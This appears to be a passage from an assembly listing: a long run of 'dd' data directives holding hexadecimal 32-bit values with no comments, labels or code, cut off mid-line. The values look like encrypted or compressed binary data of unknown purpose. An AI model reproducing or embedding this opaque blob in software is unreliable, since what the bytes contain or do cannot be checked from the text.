0DB140F8Bh dd 0C37D67ABh, 3CF90E75h, 2E0280C5h, 257C1A83h, 72F7EA00h dd 198EA5B2h, 137A1CAEh, 0BCE880DFh, 2217F887h, 50C5BF0Fh dd 78AF208Fh, 2A5D9C2h, 0E5C43FF1h, 9AC031B9h, 50036EFh dd 0BE2DF0D8h, 7ACFC83h, 2E5A4875h, 2399F363h, 0BF58A3E0h dd 80C95338h, 71786234h, 3E26CFB6h, 961E2A0Fh, 0CA190782h dd 0A03F80F9h, 6900035Dh, 0BC2D1ADBh, 0FB85843h, 91CF7C80h dd 0C01DA387h, 2C012953h, 816550C6h, 0F71A0068h, 64EB153Ch dd 0E5002DBCh, 0A539EE56h, 60957176h, 896A18E9h, 9F073E4Bh dd 25CE721Ch, 0A29A5981h, 3C01ACE0h, 0BC001DADh, 80F85B13h dd 7607CC71h, 5F3E4111h, 223386C1h, 42D7194h, 62A800D2h dd 7EF8E5D3h, 41B68506h, 1D8F5F7h, 1B01EBCh, 0DC27D761h dd 2907B134h, 0F35DF9E5h, 86717DD0h, 0E931CF2Fh, 4FA3BD80h dd 530057A6h, 2630E4DDh, 0F0634BEh, 1CEDD6EBh, 0FC3B28D5h dd 18D37F19h, 1FC0432Dh, 7D859906h, 0AA97C05h, 81E208FBh dd 0B486060h, 0A8C8824Fh, 2391102h, 3E6C196Ah, 0CD90A0D5h dd 1BED070h, 0F0C94AA0h, 82F1760Bh, 0A3B5EB91h, 0A67C917Bh dd 0F1238458h, 683799Fh, 18269886h, 38E08480h, 0A162C08Ah dd 0FB40DCE6h, 9ABBDCE1h, 0AF91912Dh, 79403FA2h, 7D06B5A3h dd 4039A733h, 0AFD00339h, 3274AA6Dh, 0F38E4FE0h, 23D4DC18h dd 281683A9h, 0E418712Fh dd 61F01E66h, 0B75C430Bh, 0A114F43Ah, 1C84F3h, 7345FC6Ah dd 678E0BFDh, 7BA69951h, 11656606h, 727BAE00h, 66123178h dd 63A92A07h, 73903CBCh, 770AB401h, 0C8F7BC57h, 56601465h dd 0D0B7F910h, 9CE94489h, 40DCD07h, 7BC0927Ah, 34733C2Fh dd 0C695C89h, 34C19CDCh, 44A7C301h, 0B4E95A0Bh, 781960E7h dd 89E77E7Dh, 17002949h, 740C0678h, 60109976h, 5E7DA165h dd 56304BE1h, 613F10B7h, 843950ABh, 0BB2E3A73h, 5F7B1Dh dd 3D4E3134h, 0DB7F9D9Ah, 9F76E719h, 405F3861h, 5321B420h dd 540242B7h, 0B8D78081h, 0FE198149h, 0AB37E6F3h, 0D06A9AE0h dd 0D422AC48h, 95543D55h, 22BCEE10h, 480EFE84h, 3418E414h dd 5A834073h, 7D66AF01h, 6501AD47h, 8FE8024h, 0A2E8F589h dd 18C9ECBDh, 9F842245h, 41109843h, 9B060063h, 0E0722757h dd 8FEB035Bh, 0F55D0D8Ch, 3399F188h, 0C296BE00h, 47A6C184h dd 0B36E3867h, 0B91CB23Ah, 0F152401Ah, 0C5EEB87Ch, 19B41004h dd 64C2E191h, 9E1C41A6h, 0EDEA824h, 3BE088D8h, 71E87B87h dd 512F4D5Dh, 9BCB08Ch, 7A85FAE8h, 8BCF0012h, 0D21B3910h dd 0F1266137h, 1A02A896h, 4A761222h, 8687DDD4h, 13DCB7C8h dd 180373C9h, 11CFA680h, 9E5909BAh, 7D8033D7h, 3D2E16DAh dd 9108B266h, 0DFFB0421h, 82DDB833h, 47206A0Ch, 2489694Fh dd 1F603815h, 65160683h, 4D002128h, 0FCB533F5h, 78F692FAh dd 2708CC38h, 4D00F821h, 30157133h, 0CE7D78E7h, 22C03819h dd 5631131Dh, 0F11CE22h, 1239582Dh, 80032724h, 8AE4CB90h dd 0E2BE890Ah, 0F9813C62h, 0DAFCA133h, 74886018h, 483307D1h dd 0F4A7235Fh, 0F3B8C295h, 0A87A0721h, 61533460h, 3722D83Dh dd 5EA851DDh, 0BA298007h, 29320994h, 0F08E1D86h, 0FB144E40h dd 803A9C5h, 0A5805B84h, 0F8971BDFh, 26CC75E4h, 41A4E021h dd 323B8A80h, 62CE00E8h, 3C4649DFh, 34114CB5h, 0FBBCD080h dd 3BE0529Dh, 701E91F4h, 0F8D58257h, 9A601C34h, 3FE87740h dd 77A57C87h, 8E791214h, 33680065h, 4556C95Dh, 0CC66022Ch dd 0F05E4B06h, 983A24D1h, 0F78500D3h, 769D7295h, 0B8F2D0E7h dd 9EDF20C0h, 0A4C1F77h, 62D8E9B4h, 5A8840D8h, 960CCDD0h dd 511C5D6Dh, 0B1FC0Fh, 4D21ABF4h, 6D7973D7h, 10C7658h dd 0AE0582BEh, 0EC640D19h, 274607A3h, 2F7BE34Eh, 48F68486h dd 0B0BDC8A0h, 39AC80h, 0BC5AAF44h, 0F6D723A0h, 1F01F318h dd 0E8022D21h, 16D229CAh, 645C220h, 3FD30E30h, 2800EF8Ah dd 0B4D56866h, 820013A4h, 0B31BA90h, 0FFBE8833h, 0F33D6C26h dd 0EAFCB788h, 6A4095C4h, 0D60C334Bh, 9C064100h, 540DDC98h dd 35F30246h, 2DCFDE9Eh, 6F0540C0h, 69000492h, 4A7CCC3Bh dd 1604E235h, 837DF9h, 0CEBC5284h, 0A4181D14h, 43317306h dd 73E27BA1h, 92550C25h, 9F08DA26h, 79B221C0h, 0C8CA7E3h dd 0DB12235Ah, 1D292919h, 0AB01249Eh, 0B2FDD2E2h, 8AA418h dd 2411E2CDh, 17B010Fh, 63888E1Eh, 0C48E250h, 0F9C06165h dd 0F0B2AB0Bh, 1C32FA84h, 0C0E1A972h, 0E0571542h, 8505B0CEh dd 0C4F26169h, 3D97C800h, 50FA3994h, 3C194816h, 8D8121F7h dd 0A6DF0857h, 25436A0h, 0E59833E4h, 10B531E2h, 233ECF8h dd 20B17E39h, 0A86095AEh, 0C116E741h, 28143A53h, 48237Ch dd 85E477C9h, 4586729Fh, 771E400Eh, 3D017F21h, 0BF3104DAh dd 7470763Fh, 0E486515Dh, 8CA3A820h, 0D733BB0Fh, 4C8831E5h dd 33E3F787h, 0AA9661AFh, 59D15390h, 0E1C84C4Ah, 780284C1h dd 3B4D9BFCh, 95808306h, 0C5483D8Bh, 6358BFDEh, 0A6D2109Ch dd 380BDC01h, 4C51CBF9h, 3F5222C4h, 97D003C0h, 0AD16BBh dd 194F2611h, 0BC2F9DA4h, 4055718h, 0AF6A1h, 1C73236h dd 0C1985EA4h, 7426F301h, 7BE74F80h, 5074B429h, 0B8DD303Bh dd 0C1E916A6h, 9DF040C6h, 0CE16BD25h, 7C91B97Ch, 14206296h dd 8F73A8h, 87229008h, 476E5336h, 9CD22D28h, 9331FD00h dd 66EDF805h, 0A1F467EFh, 0C200C9FCh, 6A673207h, 0FF843C93h dd 0FCC14A78h, 0E511B80Fh, 5D0500Dh, 48C01DCAh, 40312B46h dd 0E5350086h, 4328A430h, 18B1CB66h, 2075428h, 0FD3B793Dh dd 82A05DA0h, 702A4CB8h, 7C219D25h, 3C2E71h, 38BAD935h dd 0FA8BA7BBh, 0DC0347A1h, 5D98EC9Bh, 93FC48F1h, 96AF3B28h dd 8640C53Ah, 127A196Ah, 0E9AC0D40h, 0D1589CD4h, 7905FC47h dd 3FCEC309h, 11701D66h, 8BD83F2h, 0E8620136h, 0ADE23F32h dd 6033D174h, 0D8044488h, 0DE47DD9Dh, 0BDFD0C0h, 3F5C0939h dd 0ECBD70FFh, 0A2EE8504h, 84D6CD48h, 6BC2320h, 0E1AFE705h dd 34657481h, 0A8DF2425h, 9AB9CCB1h, 8104205Ch, 4619D0FBh dd 8AA6E500h, 873ABD13h, 51220021h, 98866152h, 2900C5FBh dd 14477EC6h, 0EE03739h, 0FA8ED1C9h, 0BC736960h, 0BF607760h dd 0FBB0F7EEh, 0BA4B00D5h, 0FF526199h, 58000EA4h, 480A7C5Bh dd 2B7FE7h, 0D3D5BDC4h, 7A94CC14h, 8BF9E00h, 0AE77CB79h dd 6CB70028h, 0F43B6DBh, 0AB7083F5h, 50EAE100h, 0E53D8411h dd 6D101EA8h, 0B28DC038h, 554FA060h, 9B233Eh, 31794CB5h dd 0A46821h, 0EDB3F242h, 0DB3E52B0h, 4EC55B00h, 185C212h dd 7CB084h, 82588863h, 0F956114Dh, 89053D0Bh, 0C19B00C7h dd 0A1B6E7h, 4DC47797h, 0F5D7EBB5h, 0AD023D00h, 30F2D3Eh dd 0EE3A0091h, 0D5137633h, 0DE39F98Ch, 2E3BD1h, 0CA0C74C7h dd 3A853679h, 64974157h, 0B41C0E24h, 74E50D20h, 6A00A17Fh dd 3292BC70h, 2CB76E2Ch, 3D53B0CAh, 4D99000h, 0FF1F105Ch dd 0D7EC9600h, 14D84B3Eh, 9C530323h, 4E019E06h, 36CAFF98h dd 0D7E91918h, 0AF6278h, 0B2D886F0h, 60D5EAACh, 0C551E400h dd 83CDEFA2h, 0ECAD2493h, 2619A48Ch, 498700BEh, 11849874h dd 7FCE3914h, 108800E0h, 6B04DF83h, 0D253010Eh, 36EAD8Eh dd 9AF8C46Ah, 9EC5CC3Ch, 0EAC05B16h, 24FC1517h, 2BB52437h dd 12688748h, 4BB2B010h, 760E5DACh, 608AB34Eh, 0A7FD823Dh dd 0CD72008Eh, 7B9394B0h, 1512851Ch, 2200C6CBh, 0A2F7687Eh dd 0C2DE430h, 3B7893C5h, 0C000F4E8h, 0F595E784h, 0A3B6DDh dd 0D3ECF2A4h, 9DD9D2DFh, 9B2D6D07h, 3C509959h, 0A10B53h dd 0B7FA6A49h, 8BD94266h, 4B3ABF00h, 65162FF8h, 0E7E7F95h dd 8FE1C0C2h, 5A783E00h, 0C5F847B2h, 1E6A1012h, 0E196CC00h dd 38F659EBh, 2EBF4153h, 0CBF050h, 57228644h, 0C76B62F0h dd 0EFE4BA00h, 2369C074h, 24B6730Fh, 8078A8BDh, 0AD89E31Dh dd 600316Ah, 3C036CEBh, 0E00ADCD2h, 147F2Eh, 1A16A81Bh dd 0C2743E4h, 0FF196700h, 0BC11C244h, 5660005Ch, 6D727D64h dd 1E015271h, 0AEA5760Ah, 3CC4967Fh, 0D5A01524h, 0DD00C883h dd 6FC23208h, 0E4A15E8Ah, 34AAF42Eh, 0F406AB00h, 535D5BC8h dd 0D9590073h, 0BA0C6AE1h, 0D100E81Bh, 92FEE975h, 5451F8h dd 126C86E3h, 2D10A703h, 80A0EF38h, 9B74FB8h, 0E65A1Eh dd 0E0AD362h, 0FEF1CFA9h, 8DA59800h, 9B4319AFh, 6C4648E5h dd 0C511E10Ah, 102AD0h, 0AB3B3FB4h, 67A6BE16h, 3A9E6B00h dd 2E4DA007h, 986B044h, 99BBE032h, 821D468h, 4B6339h, 0DDD5F7FBh dd 12CA3D5Bh, 716D3CEh, 142540BDh, 67778124h, 0F2EACCE3h dd 0F0BD3603h, 0A8159523h, 0B7A45Bh, 1BE7CC52h, 9E1D6548h dd 37F6441Ch, 0C03F1080h, 4A945Ah, 0DC6368A1h, 44A40CA9h dd 0CCE31300h dd 195FE03Ah, 0BCCD1E5Dh, 0B7F8C0EBh, 3FF57E5Eh, 65790700h dd 0B082E4FAh, 9C290043h, 0EB3D36CDh, 5A797017h, 9EF14916h dd 4500C113h, 0CEACEC78h, 796B03ABh, 8B7ED58Fh, 0BE8091DAh dd 666A35A3h, 1DE4D059h, 3FC00F40h, 3BC65770h, 0F484025Fh dd 10E03556h, 0B83A2440h, 0A64ACE00h, 0FBDF2128h, 0D4EE2E0Eh dd 59190082h, 136A33EBh, 17F25500h, 511264AEh, 0AA4A1E9Eh dd 92AF803Ah, 0B274158Fh, 90042F0h, 80570A73h, 0CA6D1Dh dd 3F389DFDh, 194A0BD8h, 4300877Dh, 0E50531FBh, 0D9039Fh dd 0A56E8308h, 0B27B761Ch, 70142F01h, 0B225652h, 1BE864h dd 30E1C5Dh, 6A4F32C6h, 5619EA03h, 116E57Ah, 0EE4AFC11h dd 508839h, 69211Ch, 0C2B9A02h, 6C53828Ah, 890030EAh, 8B274239h dd 48AB7D33h, 7F027C58h, 2E72CD13h, 20001C50h, 6D8CA9A3h dd 0A0936E2Bh, 0F80D7490h, 24D9003Ch, 54A9F673h, 0AB004EE0h dd 0B022C1EAh, 72A888h, 0D2E83CB2h, 0E51D68E4h, 0E300F0ECh dd 8199D68Ch, 3E938B9Eh, 700317Fh, 1AA2DA6Ah, 0E100C266h dd 0E911F41Bh, 0FAACD8h, 843F1D10h, 7C2224BBh, 16289500h dd 877F46E8h, 1E511E48h, 8CDAC0EDh, 14E36A9Ah, 3E6E731Fh dd 8BCF9100h, 720FF13h, 2B1695B5h, 0C056849Bh, 1247B96Dh dd 1FCA5505h, 1F87E7A6h, 9BE0206Fh, 98BF13DBh, 0AC8E0004h dd 621082FBh, 503AE98Dh, 0E4708059h, 0E8BCF65Ah, 0B53B0245h dd 0C94105ADh, 0F57500E0h, 8C009C78h, 0A42BDCE6h, 4CC2B4h dd 4DF694ADh, 0FF51E86h, 0F7001CB8h, 6B81A0DCh, 0B0EBBABh dd 5C08238Dh, 0DD191380h, 9900E8F6h, 0F2685BEBh, 25F0Ah dd 0C5A2DE7Bh, 7882427Ah, 83E8D00h, 1A6E9E16h, 0E0C700CEh dd 0CC5D66DDh, 69FCF0BCh, 8EE5FC00h, 0F3D7CBF1h, 152F127Eh dd 9A1DE6h, 4408469Bh, 0B0091E89h, 4894AB4Bh, 6D13F8h dd 8507E0AFh, 0FF70090Bh, 1D76E600h, 38ACDD25h, 97A500C5h dd 0DE315A68h, 177761EAh, 0CB3F0B00h, 5305E039h, 4B56030Ch dd 2DAC979Ah, 6085F4A9h, 0CCA8845Ch, 0A504A343h, 2E33254Fh dd 5FAE60D0h, 5E9F3972h, 0FCCFBA83h, 48D52D5Bh, 0FE100310h dd 0C027851Dh, 0E52F62F3h, 41F416EAh, 1400F85Eh, 52AF29CAh dd 0DAA60272h, 0F69D929Ah, 4E182072h, 11F1E6CEh, 10B70003h dd 79066A9Bh, 0E9F6317Ah, 0F65B8500h, 0F94F8677h, 445A502Dh dd 92C20C72h, 6560A2B5h, 59A84000h, 504A1354h, 38BB1695h dd 153BC68h, 412E1CD5h, 56D07A77h, 9DECACh, 0E4C70B47h dd 7CB76F67h, 0E2B3107h, 4B5EEEB4h, 0A0046B10h, 14538B0Bh dd 0B0FC86E7h, 26CA4C02h, 0E45A78E5h, 80007058h, 88D81498h dd 26AB04D7h, 874FFA48h, 0DE5620ECh, 28C55AAAh, 44A4A107h dd 7BD80087h, 0FF15F3F1h, 57F4F531h, 943ECD01h, 0A506D09Eh dd 3FA069ACh, 0B1E07100h, 0FDA804F3h, 64CE3F00h, 333D9C7Fh dd 0F0D050Eh, 0B2E507B5h, 995F0064h, 9DE1F50Ah, 0F4AE23Bh dd 46687CB3h, 6220F300h, 0DE3C4078h, 4E801D8h, 0EB707DDh dd 0B406418Ch, 0B3E4C581h, 6404E0B7h, 8AE700C2h, 7E3DDD0h dd 6713787Ah, 0BB3508h, 303D276Eh, 71016812h, 513FE820h dd 7FD04096h, 80B80141h, 0E297E774h, 7D89FDA0h, 3D0379B0h dd 592CB64h, 5B7900ABh, 178A151Ch, 4D006F13h, 266B2C81h dd 186D7BD5h, 41085063h, 2B3AE09Dh, 52800E4h, 53BC5215h dd 49300068h, 1222AC5Bh, 1702E3D7h, 0A7393CFBh, 255BE1EBh dd 45B49F5h, 0EAADC49Fh, 0FF76D64h, 3C1719D6h, 0E15AB087h dd 9C5DC734h, 5472F08h, 14B879E1h, 3311C21h, 9AD99908h dd 2718E038h, 28C74420h, 0B3A54DA0h, 0A72619DCh, 0B452991Bh dd 18455009h, 4C0D3C33h, 79D1691Ch, 6A18A1B2h, 71F91CA6h dd 618510C2h, 2850B278h, 0A1426010h, 4088822h, 481C3DC0h dd 6661F82Ch, 0C9758120h, 72094E65h, 2D211C30h, 42B4A36Eh dd 86280C08h, 689A5014h, 80A56464h, 508A77C9h, 0FA6158h dd 0E44F2A3Bh, 959117E6h, 0ECB87529h, 8C726280h, 7C303BCAh dd 316B3A7Ch, 2FE4FC52h, 3158AC04h, 1A10E86Eh, 53B448D2h dd 8F7BA000h, 0AAEC81Fh, 43040431h, 20D7AC62h, 164F6AE3h dd 1836CABAh, 833A19DDh, 0F039F866h, 4DD32469h, 4C38340h dd 4816637Bh, 0AA006B1Dh, 75AAEE99h, 491C06F3h, 38F4885Dh dd 12D9103Fh, 984054FBh, 72DE6286h, 67F10692h, 69FDFA26h dd 1268B50Ch, 144489Bh, 0DC62CE4h, 0DCC96654h, 0EDF53D8Ch dd 0C4F6D18Fh, 0CA00914Eh, 49310EA6h, 0C02699F2h, 96A8B0F9h dd 61E8B1A5h, 5DB693Ch, 4598A46Ch, 8E488C59h, 3C6B519Dh dd 0E9614480h, 0B1F0E781h, 28F1B007h, 0D34099BEh, 0E37123Dh dd 789D193Ch, 2FF3807Ch, 0D4EC01A5h, 0ADD98567h, 2C5CE4A0h dd 3E8CA0FCh, 0E99A6E96h, 212B0520h, 18184C49h, 12894666h dd 8E2A3C60h, 0E427F204h, 0BD9C80CAh, 0C43AFECCh, 0F029E067h dd 507718BAh, 0A0EC60A0h, 0F45B9D88h, 8338C086h, 4321123Ah dd 20363703h, 6640BCC4h, 8EFE131h, 3C738E04h, 0D080686Fh dd 0BEE3A1h, 0C0C31749h, 780C2CEDh, 10A0DFFCh, 0B0A083EBh dd 50A18D2Ah, 47A4D198h, 12AC1AB0h, 0C6F8400Eh, 0DBB6494Ch dd 0FEFC6302h, 41BC789Ah, 0F2128E2Ch, 0B000A8BAh, 9B527483h dd 7762E905h, 0E45F6AEDh, 3840E852h, 0E660CA9Dh, 88B8A53Ah dd 73646D54h, 263D5942h, 0E4453F01h, 0E0B3A4C0h, 8B4339A8h dd 0F289F300h, 2625F931h, 9931EFF2h, 50B5592Dh, 46A484DAh dd 0E5D0010Ch, 195FD39h, 7ED25E25h, 0F2E0B2D4h, 0C28F0A2Dh dd 0CCD3F9h, 7D31AF5Fh, 0B6048C44h, 0CA24DB3Ch, 5095093h dd 49A7361h, 0C62C90C0h, 98416833h, 54EBC420h, 0A860B88Fh dd 3B06A84h, 6D31036Eh, 284018CDh, 433137D8h, 0ABED08A5h dd 0C8108C4Ah, 7740049Bh, 470972FAh, 13580C90h, 2D09EC92h dd 721353Ah, 38490918h, 0D17E0430h, 230A8859h, 904C0A66h dd 5568155Fh, 0F18C3360h, 312900D6h, 0B730BC57h, 3F00F1B8h dd 87A09EE1h, 0E1A8E4F4h, 264091h, 8F307E7Dh, 3398BC99h dd 5F91206Fh, 18142911h, 3C14F63Ch, 8C033CFCh, 0AF5B9A1Bh dd 265843C5h, 90A6BA6Bh, 7071C246h, 0F0F950F8h, 3CC90198h dd 0F67E4576h, 30808D1Ah, 0B0832083h, 859178F7h, 8C90607Eh dd 3E16620Eh, 0F378948h, 0E8368A50h, 4A881080h, 0C2CF2CF2h dd 29314071h, 88ACB087h, 0BD447244h, 40881AEBh, 0A9E39C5Ch dd 8DF11CE4h, 1CA2EF4h, 1B55F66Fh, 0E5B78F4Ch, 71F4F4A6h dd 15385148h, 0F848C6Dh, 0A7C65BDh, 71448CFEh, 684CC4C0h dd 0A893549Eh, 1C04981Eh, 2A50AAE9h, 2E3F0098h, 0EBD9B530h dd 3D605FABh, 83D86378h, 0A5391F6Dh, 60C86467h, 7E248C51h dd 10ED0E30h, 3E83B9E2h, 0C2853FB8h, 5F00178h, 87768Ch dd 1B935298h, 3D5CD937h, 0E1861306h, 68B3FC40h, 15579120h dd 88955DA7h, 0F1738900h, 45B5C89Ah, 8EFFBD07h, 0B260E40Ch dd 18DCE55Bh, 0E9B1015Fh, 7400F058h, 0F1E1731Eh, 1DA8B963h dd 40E3160Fh, 0FE797DACh, 4B07AFE9h, 0AB1A0D2Ah, 66C30670h dd 0D45F50B7h, 4883002Eh, 0A2FDA20h, 4005EFBh, 0E585A5AEh dd 2A7E578Bh, 80FE9Eh, 0EC965D2Ah, 1615BBFFh, 8E712B03h dd 0B85065F9h, 0E20E46Bh, 77FEB726h, 433C48C0h, 130600Eh dd 83DCB1DAh, 889D00D6h, 49CC04C5h, 0FDF47652h, 4B030890h dd 6A47ABBAh dd 0E54000A5h, 0A335AF5h, 0DD7A5466h, 10D7C500h, 1699B775h dd 0E42658C9h, 4B5BE90Fh, 0B6A9E660h, 0A03AD4B3h, 717884D1h dd 0A8C9A53Ah, 6383CD00h, 2CB2583Eh, 80E02226h, 2DFF7E47h dd 0C628CEC0h, 0D450C826h, 10C00DF5h, 0D7BB6861h, 5F24004Dh dd 7BE396DCh, 0FD13463Ah, 0A700E508h, 0A52714C6h, 0F1F41Fh dd 4BDCF799h, 86BB4E46h, 0F2A62306h, 0D150CCFCh, 2FFC0458h dd 623B2500h, 0D21F4427h, 0C414003Dh, 0DDD2603h, 0E8E9E2B7h dd 0E57C2FD8h, 232E5103h, 11F2C88Fh, 11297728h, 3121D9E1h dd 388ABD04h, 4427CB04h, 2D48D3B5h, 25701742h, 9A3C0FFFh dd 79106528h, 298EC786h, 0A551D360h, 67E3BBh, 5C1032D0h dd 9AB540E8h, 807C353Ah, 2EAA9E4Ch, 1865B6h, 8123AC14h dd 69C963E2h, 0B0ED2900h, 0D8306C61h, 0A80400F0h, 3B5D6DE3h dd 0A2EA4BCAh, 0F383C100h, 3E8FA973h, 61CE001Bh, 0C0A5D89Fh dd 7F73FB6Fh, 0E634DD00h, 0E812BBDEh, 7DE70F9Dh, 0C7801AC1h dd 0EC42AEA6h, 4691400h, 4784DB93h, 0AD6B1EB7h, 0C8C7402Eh dd 910EEBF5h, 7F782762h, 9C37409Eh, 1CA1E08Ch, 0DA402Ch dd 0E7C5D5C4h, 0E901E3BFh, 317ECEE4h, 9B207FADh, 768E0315h dd 7CF3550Ah, 0C1339AE8h, 0C2ABA91Fh, 28505D00h, 0A3E39Bh dd 0C7969E23h, 433BA7B9h, 0FC945F00h, 101F54B3h, 8C270152h dd 0F658E9BCh, 1718D420h, 0CF4CAE00h, 0B444F494h, 9E1B0008h dd 1A5A95B7h, 8600BFBEh, 0B59404E8h, 7B391035h, 67C700C5h dd 438AA378h, 11002102h, 2C4F53ADh, 0E9BA7DCh, 376CE160h dd 3161009Ch, 7487CC8Ah, 0CE936200h, 631D1F06h, 57880E37h dd 60E3C825h, 8AF00440h, 81000E9Dh, 0A107B1B7h, 3E2FAC6h dd 4F63AB20h, 0CEE8D4DDh, 900087E4h, 0BB5574D6h, 0C3CFC5A6h dd 42A50516h, 0D5147998h, 58FED813h, 8825BA00h, 22CB23h dd 0CD2BE996h, 0C0575609h, 923B15F2h, 0ECFB8035h, 0DD05EFB6h dd 0DFAC006Fh, 0B4FA67F7h, 0B549216Ah, 519300FCh, 5BE65878h dd 6F600034h, 96A55455h, 5F3CA728h, 8325078Ah, 5826B373h dd 139F0010h, 853DC7EBh, 8000E1Ch, 0B9D02786h, 0F40C57F4h dd 0D2CC007Eh, 8A99AB23h, 6ECBAA97h, 0A5280C0h, 480D5E47h dd 8C38E491h, 14536C80h, 50B82CC1h, 0B7E97600h, 6E8DE21Ch dd 847358h, 2C33870Ch, 0DDE550E3h, 0F4C8A700h, 80A3A083h dd 0B81E000Fh, 4F90338Fh, 6D7FCA60h, 0A34401Ch, 0C5A5DDC0h dd 0B270AFh, 64E872A7h, 0A0A6C204h, 790B3B7Eh, 89B71B5Ch dd 0D2D78039h, 725EE811h, 81780032h, 0E23D80D0h, 8300C287h dd 0A6EE8EE1h, 1E5CE7AAh, 757C92h, 0AB4307A4h, 0EAC02451h dd 0C9285621h, 25130138h, 5304661Dh, 79A6E4BCh, 0BF72A838h dd 8F76004Eh, 0CBD17A17h, 0B91004E3h, 80EA6AB3h, 92BD90D7h dd 6C07047Dh, 98D8414h, 42CD9D70h, 0C4C00C5h, 0F834B916h dd 7100D07Eh, 5EEBD7CBh, 0C292C3h, 0B2305421h, 5BDAAEB3h dd 9DC6B100h, 470803A6h, 0FDAF0004h, 68EE7C7Eh, 0EF0391D0h dd 6C5DC36h, 0C62FA0DAh, 0A30A098Eh, 2C987062h, 0B0A0F535h dd 0AC1EA11Bh, 57011966h, 63DA68A3h, 8818CD00h, 84448200h dd 48D2265Dh, 9E71C71h, 130EC4A6h, 800087D0h, 4012CEFh dd 6888DC01h, 2E7628F5h, 0CBF430h, 0E5785CD5h, 170FF445h dd 3400AB98h, 6EE1E62Ch, 0D8E748h, 0A7CB3972h, 5ABE287Dh dd 3C403700h, 0C1605044h, 0D075FEh, 6814A5FBh, 0EAB88879h dd 1A101560h, 0D820D36Fh, 599DF688h, 6A74C82Eh, 0B4705600h dd 3A1F61h, 374DD1D8h, 0BF1B12CAh, 0B1ED0200h, 0F28CAF36h dd 91CC022Bh, 94444830h, 537A2040h, 3405DA00h, 0DBC24087h dd 7F4E0016h, 61DD4B3Bh, 7203E009h, 9DDA675Eh, 38FA60F1h dd 2D6D7C8h, 8513BE00h, 91542DB6h, 2C1D0020h, 52D9AC8Ch dd 83091125h, 801E47AEh, 137A9DCh, 0FFE672h, 74C5BD04h dd 0F6121160h, 3C8850Fh, 1ADF40ADh, 0D50D75h, 0E7305F38h dd 0A3B3F261h, 0ABFE7098h, 1852D100h, 6D98E964h, 0D4E800D8h dd 45E30A1Ah, 1200B5D0h, 0C7BD1B6h, 0E655726h, 0E035664Eh dd 1030F480h, 0FEA1088Fh, 0E7ACC874h, 4C6DC100h, 3CBA1597h dd 14D500F8h, 8D38F93Ah, 657E13F1h, 0A4FC6000h, 5B91D1CAh dd 1073CCh, 34CF53B4h, 0FA11AE4Eh, 65CEAC00h, 5AA7D071h dd 46F005Eh, 731B346Eh, 740038FEh, 43DC467Fh, 0ECD310Ah dd 0BFA9C760h, 753EDA80h, 65482C21h, 85410074h, 2ADE0D28h dd 6266076Bh, 904B0BE4h, 5F7B659Ch, 8003D75h, 0A913C3B4h dd 21815h, 0B7FA5538h, 6AA5CEC6h, 7896CC00h, 0A10B7A8Ah dd 59BC0011h, 66C45352h, 2213D833h, 0CF135F60h, 5028C1Fh dd 6852C65Ah, 133F6Ch, 0DC8D8824h, 0E8DE4B59h, 0B7294A2Ch dd 995BB000h, 702C7Ch, 55BC0430h, 15C33864h, 0B6116618h dd 0C96BD2h, 75E15C63h, 49C63151h, 5A770B00h, 0A28473D6h dd 10B835CEh, 5BDE02D8h, 0B0607F6Fh, 654947E5h, 21E400A0h dd 51B178EEh, 0F44006Bh, 0CCDACD7Eh, 0DCA04E7Fh, 0A903A583h dd 2C3CCFE6h, 3465A8F8h, 1AF100B2h, 89B437F9h, 502C3983h dd 2C0093BBh, 8E9B540Bh, 32B8000Eh, 73D9814Dh, 0C0A02B49h dd 33004FFEh, 4BC83577h, 1EF7E9Eh, 0D111A5B6h, 804DE25Dh dd 0B08359B0h, 0EA7155Eh, 5B218234h, 13E1C520h, 0B13E1C2Eh dd 901880EAh, 0A9814208h, 0C8EB00F4h, 3BF09E14h, 5A132E31h dd 651F9C0Eh, 3F1186C4h, 0C94598C0h, 540F49CFh, 30245E80h dd 43039707h, 6F94E448h, 8B6000D0h, 355033D2h, 661436CBh dd 4C9CA0FBh, 0EF890091h, 0ECBA259Dh, 2C6E842h, 8DCC04FCh dd 0BCA1DC29h, 9335BA0h, 37009C22h, 0F4CC1D6Ah, 0D9759C2Fh dd 5548F700h, 0A0288FB0h, 131700D1h, 3F0D2EB5h, 4A0261E9h dd 0B0142127h, 6390406Eh, 0D0676042h, 0FC70AB16h, 0FD1A4100h dd 3092B778h, 5C33982Eh, 7701F8CAh, 0AEAD8682h, 3FCC44Eh dd 0F7077300h, 0D6DFD752h, 6FC8FFF6h, 0B3F01DCh, 9F17D49Ch dd 97EFD078h, 68C0AF71h, 3DC9F1B9h, 0C55300A8h, 7F6D7BA0h dd 0BE605A62h, 0B7C16320h, 663A001Eh, 0D231D47Dh, 0FAEE16F8h dd 0F53ED602h, 0E095A61Fh, 400C7FF4h, 38006D41h, 0CFBEA89Dh dd 0ABB289h, 0D09B591Fh, 0E62BC784h, 0BD42A203h, 88AE28F8h dd 0BC1EAAh, 3483B77Bh, 21C16417h, 6F4F0E00h, 161B3BFFh dd 0F30C0287h, 5A7376CDh, 7FD020C0h, 1079777Fh, 370704B8h dd 7141452Fh, 0CAC98911h, 39C160h, 0D78D2C8Eh, 0AF1663EFh dd 0B85E1405h, 2683564Dh, 7E8002C2h, 0CB7C369Ch, 8C97B080h dd 60546AF4h, 500AEF8h, 4E3064A1h, 7EC852h, 0BE7FB319h dd 69DF2D5h, 0D0002BE0h, 83E2B421h, 282662BCh, 0ACA93Fh dd 54B26A0Bh, 485E193Ah, 59735D1Dh, 20B5F54Dh, 9C329E87h dd 6599F094h, 0B0333A7h, 0E5ADDADEh, 0DF5B8863h, 3D1F3CB9h dd 0A8E48AE0h, 30000A5Ah, 6BA6D6Ah, 0EEF66DFh, 35B3D5C6h dd 8D470C60h, 0F70087C2h, 8654C8CCh, 905631FCh, 70890A4Fh dd 0D86928h, 999D497Ch, 0EE0085BEh, 9B869AF3h, 0FED7E1h dd 0A4F874A2h, 71428843h, 560172E4h, 6BC0326Fh, 2A154Bh dd 3DBB3832h, 461FF35Eh, 4CFF594Ch, 4D0F077Fh, 7FF08558h dd 121EBDFCh, 8051783Ch, 1D7BD6E8h, 0C0F1D700h, 0B4CCEB9h dd 79C41EF3h, 7D3FC026h, 0D05ABC5Fh, 36F69D0Fh, 456360D8h dd 80C310h, 0C155CD2Bh dd 0CA837E9Fh, 3EF1D300h, 6F3FDB7Ch, 76D47D3Bh, 654000BBh dd 8CD68AE1h, 450057D3h, 0E0D15AC2h, 7213B2Ah, 0BBFF3202h dd 88F44142h, 71F9CBE3h, 53D8CB46h, 9400BE85h, 0B5C29D4h dd 1D06035Fh, 57EF5B77h, 